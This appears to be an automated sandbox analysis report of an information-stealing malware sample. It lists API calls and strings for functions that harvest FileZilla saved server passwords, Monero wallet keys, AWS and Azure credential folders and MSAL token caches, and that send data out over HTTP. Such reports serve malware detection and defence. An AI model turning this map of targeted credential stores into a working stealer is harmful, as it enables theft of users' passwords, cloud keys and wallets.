Opcode ID: fa89f657aff6296ecb1601ee23405aced359b6e8af49850df061194d60f6f807
Instruction ID: 4d4380f719737e920eca18c290049424b63e8615d1407fedd07d3ef3da97591e
Opcode Fuzzy Hash: fa89f657aff6296ecb1601ee23405aced359b6e8af49850df061194d60f6f807
Instruction Fuzzy Hash: E5D0C9716097114FC3688F1EB440946FAE8DBD8320715C53FA09AC3750C6B094418B54

Function 00129AA0 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 001203B0 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0012AA50: lstrcpy.KERNEL32(00130E1A,00000000), ref: 0012AA98

Part of subcall function 00128F70: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00128F9B

Part of subcall function 0012AC30: lstrcpy.KERNEL32(00000000,?), ref: 0012AC82
Part of subcall function 0012AC30: lstrcat.KERNEL32(00000000), ref: 0012AC92

Part of subcall function 0012ABB0: lstrcpy.KERNEL32(?,00130E1A), ref: 0012AC15

Part of subcall function 0012ACC0: lstrlen.KERNEL32(?,00E39450,?,\Monero\wallet.keys,00130E1A), ref: 0012ACD5
Part of subcall function 0012ACC0: lstrcpy.KERNEL32(00000000), ref: 0012AD14
Part of subcall function 0012ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 0012AD22

Part of subcall function 0012AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0012AAF6

Part of subcall function 0011A110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0011A13C
Part of subcall function 0011A110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 0011A161
Part of subcall function 0011A110: LocalAlloc.KERNEL32(00000040,?), ref: 0011A181
Part of subcall function 0011A110: ReadFile.KERNEL32(000000FF,?,00000000,0011148F,00000000), ref: 0011A1AA
Part of subcall function 0011A110: LocalFree.KERNEL32(0011148F), ref: 0011A1E0
Part of subcall function 0011A110: CloseHandle.KERNEL32(000000FF), ref: 0011A1EA

Part of subcall function 00128FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00128FE2

GetProcessHeap.KERNEL32(00000000,000F423F,00130DBF,00130DBE,00130DBB,00130DBA), ref: 001204C2
RtlAllocateHeap.NTDLL(00000000), ref: 001204C9
StrStrA.SHLWAPI(00000000,<Host>), ref: 001204E5
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00130DB7), ref: 001204F3
StrStrA.SHLWAPI(00000000,<Port>), ref: 0012052F
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00130DB7), ref: 0012053D
StrStrA.SHLWAPI(00000000,<User>), ref: 00120579
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00130DB7), ref: 00120587
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 001205C3
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00130DB7), ref: 001205D5
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00130DB7), ref: 00120662
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00130DB7), ref: 0012067A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00130DB7), ref: 00120692
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00130DB7), ref: 001206AA
lstrcat.KERNEL32(?,browser: FileZilla), ref: 001206C2
lstrcat.KERNEL32(?,profile: null), ref: 001206D1
lstrcat.KERNEL32(?,url: ), ref: 001206E0
lstrcat.KERNEL32(?,00000000), ref: 001206F3
lstrcat.KERNEL32(?,00131770), ref: 00120702
lstrcat.KERNEL32(?,00000000), ref: 00120715
lstrcat.KERNEL32(?,00131774), ref: 00120724
lstrcat.KERNEL32(?,login: ), ref: 00120733
lstrcat.KERNEL32(?,00000000), ref: 00120746
lstrcat.KERNEL32(?,00131780), ref: 00120755
lstrcat.KERNEL32(?,password: ), ref: 00120764
lstrcat.KERNEL32(?,00000000), ref: 00120777
lstrcat.KERNEL32(?,00131790), ref: 00120786
lstrcat.KERNEL32(?,00131794), ref: 00120795
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00130DB7), ref: 001207EE

Strings

<Host>, xrefs: 001204DC
<Port>, xrefs: 00120526
<User>, xrefs: 00120570
profile: null, xrefs: 001206C8
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 00120404
browser: FileZilla, xrefs: 001206B9
login: , xrefs: 0012072A
password: , xrefs: 0012075B
<Pass encoding="base64">, xrefs: 001205BA
url: , xrefs: 001206D7

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 1ce2b2716344e92bf398105669ad08f1a8a23e3f5f48f649d138e9cb7e932aa6
Instruction ID: a2b134e9c8f512d8efcde61c4fbd09eb09a4fffb8d2b3b404249dcb9f609ccaf
Opcode Fuzzy Hash: 1ce2b2716344e92bf398105669ad08f1a8a23e3f5f48f649d138e9cb7e932aa6
Instruction Fuzzy Hash: 2AD11F71D10218ABDB15EBE0ED96EEE777DAF28300F808558F502B7095EF34AA54CB61

Function 001159B0 Relevance: 40.7, APIs: 17, Strings: 6, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0012AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0012AAF6

Part of subcall function 00114800: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00114889
Part of subcall function 00114800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00114899

Part of subcall function 0012AA50: lstrcpy.KERNEL32(00130E1A,00000000), ref: 0012AA98

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00115A48
StrCmpCA.SHLWAPI(?,00E3F970), ref: 00115A63
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00115BE3
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,00E3F9D0,00000000,?,00E3ED58,00000000,?,00131B4C), ref: 00115EC1
lstrlen.KERNEL32(00000000), ref: 00115ED2
GetProcessHeap.KERNEL32(00000000,?), ref: 00115EE3
RtlAllocateHeap.NTDLL(00000000), ref: 00115EEA
lstrlen.KERNEL32(00000000), ref: 00115EFF
lstrlen.KERNEL32(00000000), ref: 00115F28
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00115F41
lstrlen.KERNEL32(00000000,?,?), ref: 00115F6B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00115F7F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00115F9C
InternetCloseHandle.WININET(00000000), ref: 00116000
InternetCloseHandle.WININET(00000000), ref: 0011600D
HttpOpenRequestA.WININET(00000000,00E3F920,?,00E3F0E0,00000000,00000000,00400100,00000000), ref: 00115C48

Part of subcall function 0012ACC0: lstrlen.KERNEL32(?,00E39450,?,\Monero\wallet.keys,00130E1A), ref: 0012ACD5
Part of subcall function 0012ACC0: lstrcpy.KERNEL32(00000000), ref: 0012AD14
Part of subcall function 0012ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 0012AD22

Part of subcall function 0012ABB0: lstrcpy.KERNEL32(?,00130E1A), ref: 0012AC15

Part of subcall function 0012AC30: lstrcpy.KERNEL32(00000000,?), ref: 0012AC82
Part of subcall function 0012AC30: lstrcat.KERNEL32(00000000), ref: 0012AC92

InternetCloseHandle.WININET(00000000), ref: 00116017

Strings

------, xrefs: 00115D9C
X, xrefs: 00115CD2, 00115E13
------, xrefs: 00115C5B
", xrefs: 00115E66
------, xrefs: 00115AE6
", xrefs: 00115D25

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------$X
API String ID: 874700897-4062443838
Opcode ID: f573ad575d09906958e1edc1b1978650b4a12867ae156a901619ddcd8fd20c77
Instruction ID: 075f60a9d585cf0c8a1c2ad4615b85f144014dc17ebb44e32bb7e9dc31e3fa1e
Opcode Fuzzy Hash: f573ad575d09906958e1edc1b1978650b4a12867ae156a901619ddcd8fd20c77
Instruction Fuzzy Hash: DA12F071920128ABCB15EBA0ECA6FEEB37DBF24700F804599F10676091EF706A58CF55

Function 0011CFF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0012AA50: lstrcpy.KERNEL32(00130E1A,00000000), ref: 0012AA98

Part of subcall function 0012ACC0: lstrlen.KERNEL32(?,00E39450,?,\Monero\wallet.keys,00130E1A), ref: 0012ACD5
Part of subcall function 0012ACC0: lstrcpy.KERNEL32(00000000), ref: 0012AD14
Part of subcall function 0012ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 0012AD22

Part of subcall function 0012ABB0: lstrcpy.KERNEL32(?,00130E1A), ref: 0012AC15

Part of subcall function 00128CF0: GetSystemTime.KERNEL32(00130E1B,00E3E7B8,001305B6,?,?,001113F9,?,0000001A,00130E1B,00000000,?,00E39450,?,\Monero\wallet.keys,00130E1A), ref: 00128D16

Part of subcall function 0012AC30: lstrcpy.KERNEL32(00000000,?), ref: 0012AC82
Part of subcall function 0012AC30: lstrcat.KERNEL32(00000000), ref: 0012AC92

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0011D083
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0011D1C7
RtlAllocateHeap.NTDLL(00000000), ref: 0011D1CE
lstrcat.KERNEL32(?,00000000), ref: 0011D308
lstrcat.KERNEL32(?,00131570), ref: 0011D317
lstrcat.KERNEL32(?,00000000), ref: 0011D32A
lstrcat.KERNEL32(?,00131574), ref: 0011D339
lstrcat.KERNEL32(?,00000000), ref: 0011D34C
lstrcat.KERNEL32(?,00131578), ref: 0011D35B
lstrcat.KERNEL32(?,00000000), ref: 0011D36E
lstrcat.KERNEL32(?,0013157C), ref: 0011D37D
lstrcat.KERNEL32(?,00000000), ref: 0011D390
lstrcat.KERNEL32(?,00131580), ref: 0011D39F
lstrcat.KERNEL32(?,00000000), ref: 0011D3B2
lstrcat.KERNEL32(?,00131584), ref: 0011D3C1
lstrcat.KERNEL32(?,00000000), ref: 0011D3D4
lstrcat.KERNEL32(?,00131588), ref: 0011D3E3

Part of subcall function 0012AB30: lstrlen.KERNEL32(00114F55,?,?,00114F55,00130DDF), ref: 0012AB3B
Part of subcall function 0012AB30: lstrcpy.KERNEL32(00130DDF,00000000), ref: 0012AB95

lstrlen.KERNEL32(?), ref: 0011D42A
lstrlen.KERNEL32(?), ref: 0011D439

Part of subcall function 0012AD80: StrCmpCA.SHLWAPI(00000000,00131568,0011D2A2,00131568,00000000), ref: 0012AD9F

DeleteFileA.KERNEL32(00000000), ref: 0011D4B4

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 6b40eeddba9c13b408ff67706e48a08564c4cc897dd0eed2de8a9816e28af188
Instruction ID: b655e5479f22142854326cf6189728a195bba82d7e27eadfeb4a556c6f0bdd6e
Opcode Fuzzy Hash: 6b40eeddba9c13b408ff67706e48a08564c4cc897dd0eed2de8a9816e28af188
Instruction Fuzzy Hash: 9FE13171910118ABCB15EBA0ED96EEE733DAF64301F904658F606770A1DF31BE58CB62

Function 0011CA90 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0012AA50: lstrcpy.KERNEL32(00130E1A,00000000), ref: 0012AA98

Part of subcall function 0012AC30: lstrcpy.KERNEL32(00000000,?), ref: 0012AC82
Part of subcall function 0012AC30: lstrcat.KERNEL32(00000000), ref: 0012AC92

Part of subcall function 0012ABB0: lstrcpy.KERNEL32(?,00130E1A), ref: 0012AC15

Part of subcall function 0012ACC0: lstrlen.KERNEL32(?,00E39450,?,\Monero\wallet.keys,00130E1A), ref: 0012ACD5
Part of subcall function 0012ACC0: lstrcpy.KERNEL32(00000000), ref: 0012AD14
Part of subcall function 0012ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 0012AD22

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,00E3DE20,00000000,?,00131544,00000000,?,?), ref: 0011CB6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0011CB89
GetFileSize.KERNEL32(00000000,00000000), ref: 0011CB95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0011CBA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0011CBD9
StrStrA.SHLWAPI(?,00E3DE98,00130B56), ref: 0011CBF7
StrStrA.SHLWAPI(00000000,00E3DDA8), ref: 0011CC1E
StrStrA.SHLWAPI(?,00E3E700,00000000,?,00131550,00000000,?,00000000,00000000,?,00E39260,00000000,?,0013154C,00000000,?), ref: 0011CDA2
StrStrA.SHLWAPI(00000000,00E3E3C0), ref: 0011CDB9

Part of subcall function 0011C920: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0011C971
Part of subcall function 0011C920: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0011C97C

StrStrA.SHLWAPI(?,00E3E3C0,00000000,?,00131554,00000000,?,00000000,00E39230), ref: 0011CE5A
StrStrA.SHLWAPI(00000000,00E39470), ref: 0011CE71

Part of subcall function 0011C920: lstrcat.KERNEL32(?,00130B47), ref: 0011CA43
Part of subcall function 0011C920: lstrcat.KERNEL32(?,00130B4B), ref: 0011CA57
Part of subcall function 0011C920: lstrcat.KERNEL32(?,00130B4E), ref: 0011CA78

lstrlen.KERNEL32(00000000), ref: 0011CF44
CloseHandle.KERNEL32(00000000), ref: 0011CF9C

Strings

, xrefs: 0011CAC6

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: 1853dfed1c909856f5608782d21122d6a4d7c3fc00d108af70d4bc2a7d876bb9
Instruction ID: a1131fff776ff8c969151d4284810fd4a2e883f419f702d543d4d6834fe15113
Opcode Fuzzy Hash: 1853dfed1c909856f5608782d21122d6a4d7c3fc00d108af70d4bc2a7d876bb9
Instruction Fuzzy Hash: E2E10C71900118ABCB15EBA4ECA2FEEB779BF64300F4045A9F506B7191EF307A59CB61

Function 001284B0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0012AA50: lstrcpy.KERNEL32(00130E1A,00000000), ref: 0012AA98

RegOpenKeyExA.ADVAPI32(00000000,00E39030,00000000,00020019,00000000,001305BE), ref: 00128534
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 001285B6
wsprintfA.USER32 ref: 001285E9
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 0012860B
RegCloseKey.ADVAPI32(00000000), ref: 0012861C
RegCloseKey.ADVAPI32(00000000), ref: 00128629

Part of subcall function 0012AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0012AAF6

Strings

?, xrefs: 0012850A
%s\%s, xrefs: 001285DD
- , xrefs: 00128733

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 4f17059db99508a43c7cda4b278710d844cec4af9c133b0ed44fc20ae2e1be13
Instruction ID: 35a50cf11d3c0e52a81f3483067cbf93b5d70a988b3198c40361b0b33722b17c
Opcode Fuzzy Hash: 4f17059db99508a43c7cda4b278710d844cec4af9c133b0ed44fc20ae2e1be13
Instruction Fuzzy Hash: 08812A71911228ABDB28DB54DD95FEAB7BCBF18300F5086D8F109A6180DF706B94CFA0

Function 00124FC0 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00128F70: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00128F9B

lstrcat.KERNEL32(?,00000000), ref: 00125000
lstrcat.KERNEL32(?,\.azure\), ref: 0012501D

Part of subcall function 00124B60: wsprintfA.USER32 ref: 00124B7C
Part of subcall function 00124B60: FindFirstFileA.KERNEL32(?,?), ref: 00124B93

lstrcat.KERNEL32(?,00000000), ref: 0012508C
lstrcat.KERNEL32(?,\.aws\), ref: 001250A9

Part of subcall function 00124B60: StrCmpCA.SHLWAPI(?,00130FC4), ref: 00124BC1
Part of subcall function 00124B60: StrCmpCA.SHLWAPI(?,00130FC8), ref: 00124BD7
Part of subcall function 00124B60: FindNextFileA.KERNEL32(000000FF,?), ref: 00124DCD
Part of subcall function 00124B60: FindClose.KERNEL32(000000FF), ref: 00124DE2

lstrcat.KERNEL32(?,00000000), ref: 00125118
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00125135

Part of subcall function 00124B60: wsprintfA.USER32 ref: 00124C00
Part of subcall function 00124B60: StrCmpCA.SHLWAPI(?,001308D3), ref: 00124C15
Part of subcall function 00124B60: wsprintfA.USER32 ref: 00124C32
Part of subcall function 00124B60: PathMatchSpecA.SHLWAPI(?,?), ref: 00124C6E
Part of subcall function 00124B60: lstrcat.KERNEL32(?,00E3F910), ref: 00124C9A
Part of subcall function 00124B60: lstrcat.KERNEL32(?,00130FE0), ref: 00124CAC
Part of subcall function 00124B60: lstrcat.KERNEL32(?,?), ref: 00124CC0
Part of subcall function 00124B60: lstrcat.KERNEL32(?,00130FE4), ref: 00124CD2
Part of subcall function 00124B60: lstrcat.KERNEL32(?,?), ref: 00124CE6
Part of subcall function 00124B60: CopyFileA.KERNEL32(?,?,00000001), ref: 00124CFC
Part of subcall function 00124B60: DeleteFileA.KERNEL32(?), ref: 00124D81

Strings

Azure\.azure, xrefs: 00125023
\.azure\, xrefs: 00125011
Azure\.aws, xrefs: 001250AF
*.*, xrefs: 001250B4
*.*, xrefs: 00125028
\.aws\, xrefs: 0012509D
msal.cache, xrefs: 00125140
\.IdentityService\, xrefs: 00125129
Azure\.IdentityService, xrefs: 0012513B

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
